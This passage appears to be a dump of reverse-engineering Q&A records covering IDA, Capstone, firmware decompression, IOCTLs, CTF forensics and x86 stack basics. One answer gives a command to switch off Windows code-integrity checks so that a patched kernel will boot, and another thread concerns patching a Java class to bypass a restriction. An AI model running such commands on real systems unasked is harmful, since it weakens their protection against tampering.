08        - lea rsp,[rsp+08]          ; rsp = &c\n game.exe+1DDAE9E1 - E9 08F408FD           - jmp game.exe+1AE3DDEE              \n\n game.exe+1AE3DDEE - 48 8B 1C 24           - mov rbx,[rsp]\n game.exe+1AE3DDF2 - 48 8D 64 24 08        - lea rsp,[rsp+08]          ; rsp = &b\n game.exe+1AE3DDF7 - 48 8D 64 24 08        - lea rsp,[rsp+08]          ; rsp = &a\n game.exe+1AE3DDFC - FF 64 24 F8           - jmp qword ptr [rsp-08]    ; r8d == 0: jmp addr2, else jmp addr1\n\n ; addr1\n game.exe+1382775 - E9 234F0800           - jmp game.exe+140769D\n\n ; addr2\n game.exe+1382790 - E9 FDAD991C           - jmp game.exe+1DD1D592\n
    \n", "Title": "Hardcoded addresses in dumped PEs", "Tags": "|disassembly|deobfuscation|", "Answer": "

    From reading up about the obfuscation tool in use here, this is a technique it uses to make the analysis a little harder.

    \n\n

    Now the question is how to work around this:
    \nI'm thinking I could use a script to find these absolute addresses in the dumped PE, and convert them to ones that IDA can find.

    \n\n

    Any other ideas?

    \n\n

    Edit:

    \n\n

    After loading the dumped executable into IDA with a couple of different base addresses, I've found that the address constant changed. I've also found an entry in the executable's relocation directory for game.exe+1B1D980A (which is where the address constant in the code example is located).

    \n\n

    If I could disable the relocation that IDA is performing on these addresses, the analysis would work properly. I will submit a new question on that.

    \n" }, { "Id": "18371", "CreationDate": "2018-05-26T20:07:54.603", "Body": "

    I have been using the Distorm library, using the distorm_decode() function in x64 to retrieve Opcode and Operands from binary code. For example, 44 0F45 C8 is decoded to cmovne r9d,eax.

    \n\n

    I would like to have a way to parse the hex binary instruction to extract the opcode part of it, in the example 44 *0F45* C8, would like to extract *0F45* which is the cmovne opcode part.

    \n\n

    I was looking at here and I was thinking of maybe doing a lookup at a given Hex Opcode, given a mnemonic string.

    \n\n

    Are there any other built in libraries like Distorm that can achieve this? As far as I understand, Distorm has a distorm_decompose function and interface, but I can't reach to the cmovne binary representation *0F45* from the struct _DInst returned from that call.

    \n", "Title": "Parse Opcodes from Binary Code", "Tags": "|disassembly|", "Answer": "

    Elian posted a nice answer that explains the theory

    \n\n

    here is an implementation using capstone and python

    \n\n
    import sys\nimport capstone\n\nprint ( \"dissecting a stram of hex pairs to its components in x86\")\n\nif(len(sys.argv) < 2):\n    sys.exit(\"usage python %s quoted_hex_pairs like %s\" % ( sys.argv[0] ,\n    \"\\\"F0 0D 15 F0 0D BA D0 12 50 0D\\\"\"))\n\nCODE = []\na = sys.argv[1].split(' ')\nfor i in range(0,len(a),1):\n    CODE.append( chr(int(a[i],16)))\nCODESTR = ''.join(CODE)\n\nmd = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64)\nmd.detail = True\n\nfor i in md.disasm(CODESTR, 0x1000):\n    print \"TLDR:\"\n    for j in range( 0,len(i.opcode),1):\n        if(i.opcode[j] !=0):\n            print \"%02x\" % i.opcode[j],\n    print \"\\n\"            \n    print ( \"FULL DETAILS\"              )\n    print ( \"i.address\",    i.address   );    print ( \"i.mnemonic\",   i.mnemonic    ) \n    print ( \"i.op_str\" ,    i.op_str    );    print (   \"i.id\" ,        i.id        ) \n    print ( \"i.size\" ,      i.size      );    print (   \"i.bytes\" ,     i.bytes     ) \n    print ( \"i.prefix\" ,    i.prefix    );    print (   \"i.opcode\" ,    i.opcode    )\n    print ( \"i.rex\" ,       i.rex       );    print (   \"i.addr_size\" , i.addr_size ) \n    print ( \"i.modrm\" ,     i.modrm     );    print (   \"i.sib\" ,       i.sib       ) \n    print ( \"i.disp\" ,      i.disp      );    print (   \"i.sib_index\" , i.sib_index ) \n    print ( \"i.sib_scale\" , i.sib_scale );    print (   \"i.sib_base\" ,  i.sib_base  )\n    print ( \"i.sse_cc\" ,    i.sse_cc    );    print (   \"i.avx_cc\" ,    i.avx_cc    ) \n    print ( \"i.avx_sae\" ,   i.avx_sae   );    print (   \"i.avx_rm\" ,    i.avx_rm    ) \n
    \n\n

    output

    \n\n
    python capstest.py \"44 0f 45 c8\"\ndissecting a stram of hex pairs to its components in x86\nTLDR:\n0f 45\n\nFULL DETAILS\n('i.address', 4096L)\n('i.mnemonic', u'cmovne')\n('i.op_str', u'r9d, eax')\n('i.id', 83L)\n('i.size', 4)\n('i.bytes', bytearray(b'D\\x0fE\\xc8'))\n('i.prefix', [0, 0, 0, 0])\n('i.opcode', [15, 69, 0, 0])\n('i.rex', 68)\n('i.addr_size', 8)\n('i.modrm', 200)\n('i.sib', 0)\n('i.disp', 0)\n('i.sib_index', 0L)\n('i.sib_scale', 0)\n('i.sib_base', 0L)\n('i.sse_cc', 0L)\n('i.avx_cc', 0L)\n('i.avx_sae', False)\n('i.avx_rm', 0L)\n
    \n" }, { "Id": "18374", "CreationDate": "2018-05-27T06:38:22.897", "Body": "

    I am working with a dumped program, and I essentially want to load it into IDA without performing any (relocation) address fixups. Is there a way to do this?

    \n\n

    I have tried the following without success:
    \n1. Manually loading it, and choosing not to load the .reloc section
    \n2. Rebasing the image base to zero

    \n", "Title": "How do I load an executable into IDA without it correcting relocatable references?", "Tags": "|ida|", "Answer": "

    I found that if I chose a load address manually, IDA would offset these references by whatever address I chose. If I didn't choose a load address manually, then IDA wouldn't change those references, so then all I needed to do was rebase the program without performing fixups.

    \n" }, { "Id": "18380", "CreationDate": "2018-05-27T21:09:45.260", "Body": "

    I want to analyze an embedded firmware (car's ecu). My problem is, the file is compressed.

    \n\n

    The firmware comes with a description xml file, which states that it is divided into sections and that those sections are individually compressed, using the NRV algorithm.

    \n\n

    I did some searching, and none of the usual suspects (magic strings) are in the firmware.

    \n\n

    The program that actually flashes the firmware over CAN is written in Java, so I tried decompiling it. That worked, but there are just definitions of functions, there is no flow, who the program is running, which values are passed to the functions, etc.

    \n\n

    If it were usual assembler code, I'd just attach a debugger to the running program and had a look at the calls. But I do not know if this is possible in Java.

    \n\n

    So my question is, how would I start to decompress the firmware?

    \n\n

    I uploaded both firmware and respective xml, maybe some can nudge me in the right direction.

    \n\n

    https://mega.nz/#!bctSTB5S!ZYKN48DgJYQnOU1yMkIEcpheoYFG0wgtTrZqNfxtwE4

    \n\n

    There are a lot of those NRV compressed files, for various ecus with different processors and architectures. So the decompression has to take place on the computer that flashes the firmware.

    \n", "Title": "Extracting compressed firmware (NRV) for analysis", "Tags": "|unpacking|", "Answer": "

    NRV is a compressor-decompressor, highly optimized for size and speed, by Markus F.X.J. Oberhumer (www.oberhumer.com). Fortunately, it is available in an Open Source version, downloadable at his site http://www.oberhumer.com/opensource/ucl/#download. It comes in several flavors, the one I have been using is called UCL1.03.

    \n\n

    With this software and your xml description file, I was able to decompress your binary. I did it in the following way:

    \n\n
      \n
    1. Build an executable from the provided sources (in my download, there was no binary). There is a bat file for various platforms, the one for Windows is called vc.bat. However, it did not work for me, presumably because my environment vars are not set in the proper way for the bat to run. Therefore I made a VStudio solution (VS2013, VS2015 gave some errors), which produced an exe being able to read and decompress the file.\nThis VS project contains the following files (all from the download):\n\n
        \n
      • All .c files from the \"src\" direcory
        • \n
      • The file uclpack.c, residing in the \"examples\" directory, and containing the \"main\".
        • \n
      • The necessary header files, they are all in the \"include\" or in the \"examples\" directories.
        • \n
      2. \n
    \n\n

    In the Project Settings make sure that the include directory is set correctly (as usual in VS).

    \n\n
      \n
    1. Add the correct header to your binary file.
      2. \n
    \n\n

    The header consists of the following parts:\n\"enter

    \n\n
      \n
    • \"Magic\" Prefix: see picture
      • \n
    • Flags: Mostly unclear, LSByte controls the generation of a CRC-32 (different from the one in your xml file).
      • \n
    • Decompression Method: 2B, 2D, 2E are available, only 2B works with your file.
      • \n
    • Level: Unclear, but must not be zero.
      • \n
    • Block Size: Memory for the decompressor. Must have at least the size of the uncompressed block.
      • \n
    • Uncompressed Size: As read from your xml file
      • \n
    • Compressed Size:As read from your xml file.
      • \n
    \n\n

    All numbers in the header are Big-Endian (i.e. MSB first).\nPlease note that the software expects a header after each compression block, thus it is best to split your file into three separate files. Only the first one is of some interest, the other two contain only a constant.\nThe contents of the header could easily be found by stepping through the program. The decompressor returns with 0 in the error-free case.

    \n\n

    For your comparison, here is a string present in the decompressed file, at file offset 0x6a56:

    \n\n
    Incomming message not handled\n
    \n" }, { "Id": "18381", "CreationDate": "2018-05-27T23:59:23.047", "Body": "

    While reverse engineering a windows executable I found the DeviceIoControl function, and i'm trying to figure out the correct inputs so it does not return a zero, it get's the [ebp+hDevice] from the return of the CreateFileA function, the [ebp+buffer] address stores a value that was read earlier from the input, it's the only variable that I have control over\n\"enter

    \n\n

    can anyone explain what the DeviceIoControl function works, and how can I get it to return something eles than 0, \nthank you!!

    \n", "Title": "Reversing: DeviceIoControl return value", "Tags": "|ida|assembly|function-hooking|", "Answer": "

    Why would you want to reverse engineer a well-documented function? The underlying mechanism, IOCTLs, are explained as part of the documentation for device drivers. Even the native function underlying the Win32 function DeviceIoControl is documented.

    \n\n

    To find out what a particular IOCTL code means (the 224CDCh in your case), use one of the following methods:

    \n\n
      \n
    1. OSR IOCTL decoder
      2. \n
    2. !ioctldecode in WinDbg
      3. \n
    3. IOCTL reference list (your particular code isn't here, so apparently it's not a standard one)
      4. \n
    \n\n

    The first one yields this:\"OSR

    \n\n

    Now, frankly, you provide waaaay too litte information to provide more help. But it stands to reason that in order to find out what valid inputs the underlying device driver expects, you should find out the driver to which the device object (the one you opened with CreateFileA) belongs and then reverse engineer that. To find out, you can use a tool such as WinObj or similar. Because that driver is the place where the IRP (I/O Request Packet), which will be built internally by ZwDeviceIoControlFile, ends up.

    \n\n

    Edit: I just wanted to add the suggestion to have a look at the very latest WDK headers at all times. The tools mentioned above may not always be up-to-date. But in this particular case, from experience, I'd say it's a custom IOCTL.

    \n" }, { "Id": "18382", "CreationDate": "2018-05-28T00:26:23.810", "Body": "

    I'm currently working through a series of CTF forensics challenge and have run into a file format that I am dead-ending on. The format has no recognizable File Magic Number - and the file itself is filled with odd repetitive sequences of text like:

    \n\n
    Enter/Down/Down/Enter/Down/Down/Down/Enter/Down/Down/Down/readme.txtAnd the path, to you, remains clear.\n
    \n\n

    Any suggestions for avenues of research?

    \n", "Title": "Trying to identify a file format for CTF forensics challenge", "Tags": "|file-format|digital-forensics|", "Answer": "

    Returning to this challenge after a bit, and Pawe\u0142 \u0141ukasik's comment turned out to be key. The presence of repeated PK sequences was the clue that this was actually a ZIP file. Ran unzip on the file - which turned out to be a somewhat corrupt ZIP. The file expanded to a huge stack of nested directories named Up, Right, Etc - and in one of those directories was the flag. Thanks again Pawe\u0142 for the key clue!

    \n" }, { "Id": "18384", "CreationDate": "2018-05-28T02:26:05.250", "Body": "

    I had hex-edited windows kernel file c:\\windows\\system32\\ntoskrnl.exe to fix some assembly bytes in the way i need it.

    \n\n

    System wont boot because of STATUS_IMAGE_CHECKSUM_MISMATCH error (0xC0000221; restore screen on boot)

    \n\n

    But i need to boot edited version anyway. How to disable that kind of integrity check?

    \n", "Title": "ntoskrnl checksum mismatch", "Tags": "|windows|kernel|windows-10|", "Answer": "

    You don't disable that kind of integrity check, you simply set the checksum. The one that's relevant in this particular case is the respective field in the IMAGE_OPTIONAL_HEADER, that is IMAGE_OPTIONAL_HEADER::CheckSum.

    \n\n

    That said, you will likely run into additional issues once you resolved this one. I am not sure if the kernel itself is subject to Early Launch scans, but I reckon there's a reason why these binaries are also code-signed. So at the very least you may want to disable the integrity checks altogether from an elevated prompt: bcdedit.exe /set nointegritychecks on (make sure to reboot afterwards). Another point to consider is UEFI with enabled Secure Boot. In this case the Windows boot manager will somehow check the images it's asked to load. But since details are missing, it's not clear if this might be the cause of the issue.

    \n\n

    Various functions can be used to compute a checksum for a PE file. The probably easiest method is using the Image Help Library function MapFileAndCheckSum() or alternatively (CheckSumMappedFile()). If I remember correctly there are a few more, including one Ldr* function from ntdll.dll which can be used to that end.

    \n" }, { "Id": "18407", "CreationDate": "2018-05-30T04:08:56.297", "Body": "

    Is there a way to view the keybinidngs inside of Radare? Such that I can see which function keys do things like Step Over and Step Into in Debug mode?

    \n\n

    e~key doesn't list any of the debug keys,

    \n\n
    key.S = \nkey.f1 = \nkey.f10 = \nkey.f11 = \nkey.f12 = \nkey.f2 = \nkey.f3 = \nkey.f4 = \nkey.f5 = \nkey.f6 = \nkey.f7 = \nkey.f8 = \nkey.f9 = \nkey.s = \n
    \n", "Title": "Viewing Radare keybindings for Visual Pane mode (Function hotkeys)?", "Tags": "|radare2|", "Answer": "

    Those are probably used if you remap the default ones. \nAnd those are visible when you press ? in Visual mode, but not in Visual Pane mode (V!). Scrolling down will show the keys for debugging:

    \n\n
    Function Keys: (See 'e key.'), defaults to:\n  F2      toggle breakpoint\n  F4      run to cursor\n  F7      single step\n  F8      step over\n  F9      continue\n
    \n" }, { "Id": "18409", "CreationDate": "2018-05-31T01:22:06.067", "Body": "

    More specifically, could you get low level code from a rom, and piece it together and translate it to a higher level language?

    \n", "Title": "Would it be possible to reverse engineer a game's rom file to get source code?", "Tags": "|disassembly|decompilation|rom|", "Answer": "

    The source code is discarded completely by the compiler/assembler and is not present anywhere in the rom (except by accident).

    \n\n

    However, you can convert the low-level machine code to a high level language. This process is called decompilation, and while it can be tedious and difficult, it is possible to come up with high-level code which has the same functionality as the binary code. Note that this won\u2019t get you source code, merely equivalent code. For example, information like function or variable names is not necessary for the CPU so is discarded completely unless you elect to produce debug information, which rarely happens in released games.

    \n\n

    On difficulties of machine code decompilation, see Why are machine code decompilers less capable than for example those for the CLR and JVM?

    \n" }, { "Id": "18412", "CreationDate": "2018-05-31T08:33:30.673", "Body": "

    I'm a beginner in reverse engineering, and as a beginner I started to read \"Reverse Engineering for beginers\".
    \nHere is the hello world program from the book (taken from chapter 3, page 12) :

    \n\n
    \n

    Now let\u2019s try to compile the same C/C++ code in the GCC 4.4.1 compiler in Linux:\n gcc 1.c -o 1 Next, with the assistance of the IDA disassembler, let\u2019s see how\n the main() function was created. IDA, like MSVC, uses Intel-syntax5.

    \n
    \n\n
    main proc near\n\nvar_10 = dword ptr -10h\n\n     push ebp\n     mov ebp, esp\n     and esp, 0FFFFFFF0h\n     sub esp, 10h\n     mov eax, offset aHelloWorld ; \"hello, world\\n\"\n     mov [esp+10h+var_10], eax\n     call _printf\n     mov eax, 0\n     leave\n     retn\nmain endp\n
    \n\n

    There are two lines I don't understand at all :

    \n\n
      \n
    • and esp, 0FFFFFFF0h
      • \n
    • sub esp, 10h
      • \n
    \n\n

    From what I understood from the book, we add 0FFFFFFF0h (equals -16) value to ESP in order to align the stack to a 16byte boundary for optimisation.\n
    \nMy question is : why do we add -16 and then substract 16 to the stack? It seems pointless to me, can't we substract directly 32?\nSecond, if I'm understanding well:

    \n\n
      \n
    • the program starts with EBP = ESP, because nothing is on the stack.
      • \n
    • Then EBP is pushed to the stack. Assuming the program is 64bit, ESP is now EBP - 8 (because of the 64bits). So now we have ESP != EBP.
      • \n
    • Then we copy the content of ESP into EBP. So we have EBP = ESP, and EBP = fristEBP (EBP when the program started) - 8.
      • \n
    \n\n

    Why do we need to modify the value of EBP? PUSH instruction is supposed to change the value of ESP, not EBP, so why would there be any problem not modifying EBP value at the function prolog?

    \n\n



    \nSo now we have EBP = ESP, and both are fristEBP (EBP when the program started) - 8. So now we are adding -16 to the stack, so ESP becomes ESP - 16 (ESP - 24 if we consider that we've been adding -8 to the stack).
    \nWhat is -24 have to do with a 16byte boundary?\nWhy do we substract 16 again from the stack with sub esp, 10h?

    \n\n


    \nNotes : I'm sorry for the english, and sorry if I'm asking dumb questions, the book isn't clear enought and I failed to find explainations on the net.

    \n", "Title": "Basic hello world stack manipulation troubles", "Tags": "|c|static-analysis|stack|gcc|intel|", "Answer": "

    It's not add in the first opcode. It's and. So it will clear the lower nibble for the last byte in the address. This is how the alignment is done and not by adding anything. Only later you sub 16 to have room for the local variables.

    \n\n
    \n

    Why do we need to modify the value of EBP?

    \n
    \n\n

    We use EBP to store the initial ESP value. EBP is pointing to the current stack frame. This is the place for local variables created withing the function. Before we modify EBP it is stored on the stack so that we can restore it before we leave the function.

    \n" }, { "Id": "18417", "CreationDate": "2018-06-01T08:21:33.137", "Body": "

    Is it possible to obtain a node and edge count for the IDA Pro graph overview? I'm able to obtain this if I generate a wingraph32 flowchart, but it seems that wingraph32 doesn't work for very large functions. Is there also a way for wingraph32 to support very large graphs?

    \n\n

    Thanks.

    \n", "Title": "Counting number of nodes and edges in IDA Pro graph", "Tags": "|ida|control-flow-graph|", "Answer": "

    If you want to get a node and edge count for a function's graph in IDA, you can calculate it with the given IDAPython code:

    \n\n
    func = idaapi.get_func(here())\ng = idaapi.FlowChart(func)\n\nnodes = 0\nedges = 0\nfor x in g:\n  nodes += 1\n  for succ in x.succs():\n    edges += 1\n\n  for pred in x.preds():\n    edges += 1\n\nprint \"Number of nodes\", nodes\nprint \"Number of edges\", edges\n
    \n\n

    As for the wingraph32 tool, I recommend you to use the \"Proximity Viewer\" instead. Just press the key \"-\" when the cursor is inside a function.

    \n" }, { "Id": "18423", "CreationDate": "2018-06-02T03:49:45.387", "Body": "

    When I place my cursor on an instruction (on the address, opcode or operand) in the IDA-view, and switch immediately to HEX-view, I expected the hex bytes corresponding to the instructions to be selected. However, IDA 7.0.171130 (x86_64) is not behaving as expected.

    \n\n

    As an example, I have selected the address 0x8000328 in the IDA view (the cursor is not visible in the screenshot) which is a mov instruction. However, the HEX-view shows E8 D9 04 00 00 highlighted with the cursor on it; which is a call instruction.

    \n\n

    \"enter

    \n\n

    \"enter

    \n", "Title": "How can I fix the problem of IDA view and corresponding HEX view not being in sync?", "Tags": "|ida|", "Answer": "

    Did you validate that your Hex-View is Synchronized with the IDA View?

    \n\n

    In order to do this, go to the Hex View tab, Right Click anywhere in the view and choose \"Synchronize With > IDA View\":

    \n\n

    \"enter

    \n\n

    This works fine for me in version 7.0.1709

    \n" }, { "Id": "18428", "CreationDate": "2018-06-02T20:59:02.330", "Body": "

    GDB has a x/i command (and also disassemble) which allows to view the instructions at a given address.

    \n\n

    How can we do the reverse \u2013 assemble an instruction and write to a given address?

    \n", "Title": "How to assemble and inject an instruction with GDB?", "Tags": "|assembly|gdb|", "Answer": "

    compile code command

    \n\n

    Introduced around 7.9, it allows code compilation and injection at the current location, documentation: https://sourceware.org/gdb/onlinedocs/gdb/Compiling-and-Injecting-Code.html

    \n\n

    I have given a minimal runnable example at: https://stackoverflow.com/questions/5480868/how-to-call-assembly-in-gdb/31709579#31709579

    \n\n

    I can't find out how to inject at a specific location, but if you are serious about this, patching this feature in extending compile code functionality might be the way to go.

    \n" }, { "Id": "18433", "CreationDate": "2018-06-03T12:06:05.030", "Body": "

    Let's say I have this program:

    \n\n
    struct A {\n    int x;\n};\n\nstruct A func1(int z) {\n    struct A result;\n    result.x = z+1;\n    return result;\n}\n\nint main() {\n    return func1(1).x;\n}\n
    \n\n

    When compiling this on linux with gcc -m32 -fno-stack-protector the result of func1 will be returned as a stack pointer. Can I somehow set the type of func1 using __return_ptr so IDA understands this calling convention? I thought that would be the purpose of __return_ptr, if not what does it do?

    \n", "Title": "What does __return_ptr do in IDA?", "Tags": "|ida|x86|gcc|calling-conventions|", "Answer": "

    The \"problem\" with your example is that the structure is too small (four bytes), so it fits in a register and is not actually passed on the stack. From the Itanium C++ ABI (used by most GCC implementations):

    \n\n
    \n

    A type is considered non-trivial for the purposes of calls if:

    \n \n
      \n
    • it has a non-trivial copy constructor, move constructor, or destructor, or
      • \n
    • all of its copy and move constructors are deleted.
      • \n
    \n \n

    This definition, as applied to class types, is intended to be the\n complement of the definition in [class.temporary]p3 of types for which\n an extra temporary is allowed when passing or returning a type. A\n type which is trivial for the purposes of the ABI will be passed and\n returned according to the rules of the underlying C ABI, e.g. in\n registers; often this has the effect of performing a trivial copy of\n the type.

    \n
    \n\n

    (emphasis mine).

    \n\n

    Since your struct is trivial and fits completely into the return register (eax), it is not passed on the stack but returned directly in eax. So there is no need for anything special here. However, if you make it a little bigger, e.g.:

    \n\n
    struct A {\n    int x;\n    int y;\n    int z;\n};\n
    \n\n

    Then it no longer fits and has to be passed on the stack. \nIf you add the struct to Local Types and specify the C++ prototype for the function (struct A func1(int z)), then IDA performs type lowering and converts it to a C-style prototype with explicit argument locations:

    \n\n

    struct A *__cdecl func1(struct A *__return_ptr __struct_ptr retstr, int z)

    \n\n

    It seems currently __return_ptr is not used by IDA or decompiler and is just an annotation for the user, but in theory it could be used to make the decompiled code closer to the original C++ syntax.

    \n" }, { "Id": "18434", "CreationDate": "2018-06-03T12:29:32.940", "Body": "

    I was trying to patch an application, but the application is required to exact same class size as the original one but editing class file with JByteMod, Recaf or whatsoever always changes the class file size. Is it possible to patch class file without changing its size? I have one older patch which I got from Internet & its have the exact same thing.

    \n\n

    I was trying to patch the application by putting static byte array instead of the private static byte (to bypass some restriction).

    \n\n

    How can I do this without changing the size of the class file?\nThe jar file is required Java 9.0.4 to run & I have tried JBE bytecode deitor: http://set.ee/jbe/ but it was not able to open the class file.

    \n\n

    \"The

    \n\n

    \"Unmodified

    \n\n

    \"Want

    \n", "Title": "Patching a class file inside Jar using bytecode", "Tags": "|java|patching|patch-reversing|byte-code|", "Answer": "

    Depending on your use case and how you are running your jar file, if you can run the file you may want to create a java agent that hooks into your JVM (java -jar -javaagent:YourAgent.jar Target.jar) and you could use ASM or Javassist libraries to alter the byte code at runtime.

    \n\n

    For adding a field or altering it in ASM you could override your visitField or visitMethod functions in your transformer class that inherits from ClassVisitor. In the visitField method you could create a new field or alter the values of the variables without modifying the actual class files.

    \n" }, { "Id": "18437", "CreationDate": "2018-06-03T19:14:41.613", "Body": "

    I am dabbling with a XE3 Delphi application in IDA 7.0, and can't get Strings representation to work correctly:

    \n
    \n
    \n

    While selecting Delphi (16 bits) in the Strings Window yield correct results:

    \n

    \"IDA

    \n
    \n
    \n
    \n

    References to Strings in the Disassembly view are failing.

    \n
      \n
    • Below is the string definition at .text:008717DC:
      • \n
    \n

    \"enter

    \n
      \n
    • Below is a (failing) reference to it:
      • \n
    \n

    \"enter

    \n
    \n
    \n
    \n

    Trying to change the String type to Delphi (16 bits) fails with Command "SetStrlitStyle" failed

    \n

    \"enter

    \n
    \n
    \n
    \n

    Oddly, not all strings are misreferenced:

    \n

    \"enter

    \n

    \"enter

    \n
    \n
    \n
    \n

    For the record, IDR (Interactive Delphi Reconstructor) yields correct representations:

    \n

    \"enter

    \n
    \n
    \n
    \n

    I have set the Default String type to Delphi (16 bits) in Options:

    \n

    \"enter

    \n
    \n
    \n
    \n

    Here are the Compiler Options:

    \n

    \"enter

    \n
    \n
    \n

    All help welcome, thanks !

    \n", "Title": "IDA 7 does not recognize/reference Delphi 16bits Strings correctly", "Tags": "|ida|strings|delphi|", "Answer": "

    It's not only Delphi problem, it's a generic unicode detection problem of IDA.\nI can't be sure how exactly it works, but I feel like IDA has an issue, when detecting the data type. And it's related to the priority of address representation over string literal. I.e. when it finds some instruction, which references the address, it tries to determine what data is situated at this address. In your case it found mov eax, offset 8717E0, it read 4 bytes at address 8717E0. It got 0x6F0053, it made a check does 0x6F0053 look like an address? Yes, in current database it's a valid address. Then screw all further detection let's make data at 8717E0 offset to loc_6F0053. If there was no such address 0x6F0053, it would go into further analysis and in the end came to the conclusion, that it's a unicode string.

    \n\n

    So to fix this, you need to hook the analysis in the process module, and do your own type detection. It can't be solved by any of IDA settings.

    \n" }, { "Id": "18439", "CreationDate": "2018-06-03T20:14:08.190", "Body": "

    I have been fascinated by reverse engineering after making several emulators and finding the pret community. I love the idea behind decompiling old games and recreating source code that recompiles into a matching file.

    \n\n

    I recently found an old game that was hosted by Cartoon Network that I must have played around ~2001. I downloaded the source file and it is 514 Kb file with a .dcr extension.

    \n\n

    If this is anything like any other computer program, this file should store all of the games logic, images/sound, etc. that is interpreted by the Adobe Shockwave VM.

    \n\n

    Is it a feasible task to reverse engineer and extract data/code from a compiled .dcr file, or is this technology too outdated and proprietary to try and reverse engineer and test? Apparently the .dcr file is generated by the \"Director\" application. Does this mean that if I wanted to RE this game, I would have to find the exact Director version they used when creating the game so it compiles into the same bytecode? Is this too complex of a project for a single person?

    \n", "Title": "What are the steps to reverse engineering a Shockwave .DCR file?", "Tags": "|binary-analysis|decompilation|virtual-machines|binary-diagnosis|", "Answer": "

    There's a lot to Google on the topic, so take some time to do that and learn about what the *.dcr format is. A great initial point of reference for you is this post on the ZenHAX forum, where a script or two have been created for use with their program, QuickBMS. That won't teach you how to reverse the format, but if you spend some time reading what QuickBMS scripts are comprised of, you'll end up travelling down the path of reversing file formats using archives themselves as the sample.

    \n\n

    I actually worked on reversing a Director application not too terribly long ago. I made notes and documented what I'd found at the time here and here, so those may be useful for ancillary points in regards to your studying.

    \n\n

    Finally, you'd probably be best suited to inquire around both the ZenHAX and XeNTaX forums, since they both primarily focus on reversing file formats. That should all get you started quite nicely in the direction you're interested in heading. =)

    \n" }, { "Id": "18441", "CreationDate": "2018-06-04T05:35:43.863", "Body": "

    Currently, I'm generating a bunch of .idb files in a batch via idaw.exe -B <FILE>. (I'm using IDA Pro 6.8.) This process also creates many .asm files - one for each .idb file created. I don't need these files, so they just get ignored/deleted.

    \n\n

    Is there a way to generate .idb files from the command line without also generating the .asm files?

    \n", "Title": "IDA Pro: Is there a command-line way to generate idb files without generating asm files?", "Tags": "|ida|", "Answer": "

    At the bottom of the help page you can see the following:

    \n
    \n

    For batch mode, IDA must be invoked with the following command line:

    \n
    ida -B input-file\n
    \n

    which is equivalent to:

    \n
    ida -c -A -Sanalysis.idc input-file\n
    \n
    \n

    I.e. the actual analysis and writing of .asm is done by analysis.idc. Looking into it, we can see:

    \n
    static main()\n{\n  // turn on coagulation of data in the final pass of analysis\n  set_inf_attr(INF_AF, get_inf_attr(INF_AF) | AF_DODATA | AF_FINAL);\n  // .. and plan the entire address space for the final pass\n  auto_mark_range(0, BADADDR, AU_FINAL);\n\n  msg("Waiting for the end of the auto analysis...\\n");\n  auto_wait();\n\n  msg("\\n\\n------ Creating the output file.... --------\\n");\n  auto file = get_idb_path()[0:-4] + ".asm";\n\n  auto fhandle = fopen(file, "w");\n  gen_file(OFILE_ASM, fhandle, 0, BADADDR, 0); // create the assembler file\n  msg("All done, exiting...\\n");\n  qexit(0); // exit to OS, error code 0 - success\n}\n
    \n

    So just make your own copy of the script, remove the part writing out .asm file (gen_file call), and run IDA with your own script:

    \n

    ida -c -A -Smyanalysis.idc -Lida.log input-file

    \n" }, { "Id": "18445", "CreationDate": "2018-06-04T08:55:56.510", "Body": "

    \"enter

    \n\n

    Question #1 is the lea edx, [esp+24] start of array ? and eax, [esp+140] index?

    \n\n

    then whats add eax, edx doing here and this source code mean ? can you please explain?

    \n\n

    I am confused about array and indexing an array in assembly. \nhere are few screen shot. Please help me understand how this array works ? \nhow it indexed and so on.

    \n\n

    \"enter

    \n\n
      \n
    1. \"enter
      2. \n
    2. \"enter
      3. \n
    \n", "Title": "help me to understand array?", "Tags": "|disassembly|assembly|", "Answer": "

    the first screen shot shows

    \n\n
    cmp al,59h \n
    \n\n

    59h is ==

    \n\n
    C:\\\\>python -c \"print '%c' % 0x59\"\nY\n
    \n\n

    so it should correspond to your if clause (if ch[i] == 'Y')

    \n\n

    then that means

    \n\n

    the previous line in your source code is a for loop whose counter variable i is represented by mov eax , [esp+140]

    \n\n

    it should have been initialized to 0 some where earlier in the block

    \n\n

    edx is the start of the the array (possibly 8 bit size) ch
    \nit is a pointer an address like 0x401234 in this line
    \nassuming 0x401234
    \nthen the array would be accessd by
    \n0x401234+0 , +1 , +2 , +3 , +4 ,+5 ..... until the maximum value g (not shown in your screen shot )

    \n\n

    the movzx line in your screen shot access the underlying variable ch[i] \nor *(byte / char / type *) (0x401234 , ..5 , ..6 ,..7 , --so on until 0x401234+g )

    \n\n

    so the array would be accessed like this (esp+140) would be incremented at the \nend of for loop iteration each time

    \n\n
    0x401234 = 'Y' (edx = 401234 + ( eax = [esp+140] == 0 )) = *(char *)0x401234\n0x401235 = 'Y' (edx = 401234 + ( eax = [esp+140] == 1 )) = *(char *)0x401235\n0x401236 = 'Y' (edx = 401234 + ( eax = [esp+140] == 2 )) = *(char *)0x401236\n..... until 0x401234+g\n
    \n" }, { "Id": "18451", "CreationDate": "2018-06-04T13:33:55.263", "Body": "

    This is somewhat open-ended question, so bear with me please.

    \n\n

    Be it a binary payload that you pull from network packet, firmware blob you pull of some EPROM or data intercepted straight from physical bus - does anybody here use machine learning models to learn data representation?

    \n\n

    The problem here is that we have a large sequence(s) of binary data of known length which has some kind of a structure (think stream of IP packets) which is yet to be understood.

    \n\n

    Assuming we have enough of this data, we can deduce data representations in unsupervised manner, e.g. if we have pcap capture of a network packet flow on ethernet network, we can deduce what ethernet header is, that it is typically followed by something like IP header, then UDP/TCP header and some paylond in the end.

    \n\n

    \"img\"

    \n\n

    You could replace \"classifier\" with whatever else we use those ML models (in this case probably RNN-GRU/LSTM) for nowadays (apart from classification it could generate fake traffic etc). But the point is that unlike with common ML domains such as natural language processing, I'm not aware of any model that can be used to replace manual parsing. Most popular NLP model to learn what words mean in context of a sequence nowadays is word2vec, but is there anything like that for representing binary sequences?

    \n\n

    PS: I used example in the image just to demonstrate the problem, that could very well be binary code of unknown architecture, USB request block or anything else, point being that it is typically highly structured, opaque and sequential binary input.

    \n\n

    I guess the real question is, does anybody use ML for reverse engineering?\nIf so, do you mind sharing your experiences?

    \n", "Title": "What are the popular machine learning unsupervised approaches to learning binary data representations?", "Tags": "|binary-analysis|binary|", "Answer": "

    First, the more samples of discrete messages you have the better.

    \n\n

    Second, a one algorithm fits all approach isn't going to work. Use an ensemble of small simple recognizers.

    \n\n

    Third, it's coming from memory, so start by learning the memory representations for a specific thing, for example unint32.

    \n\n

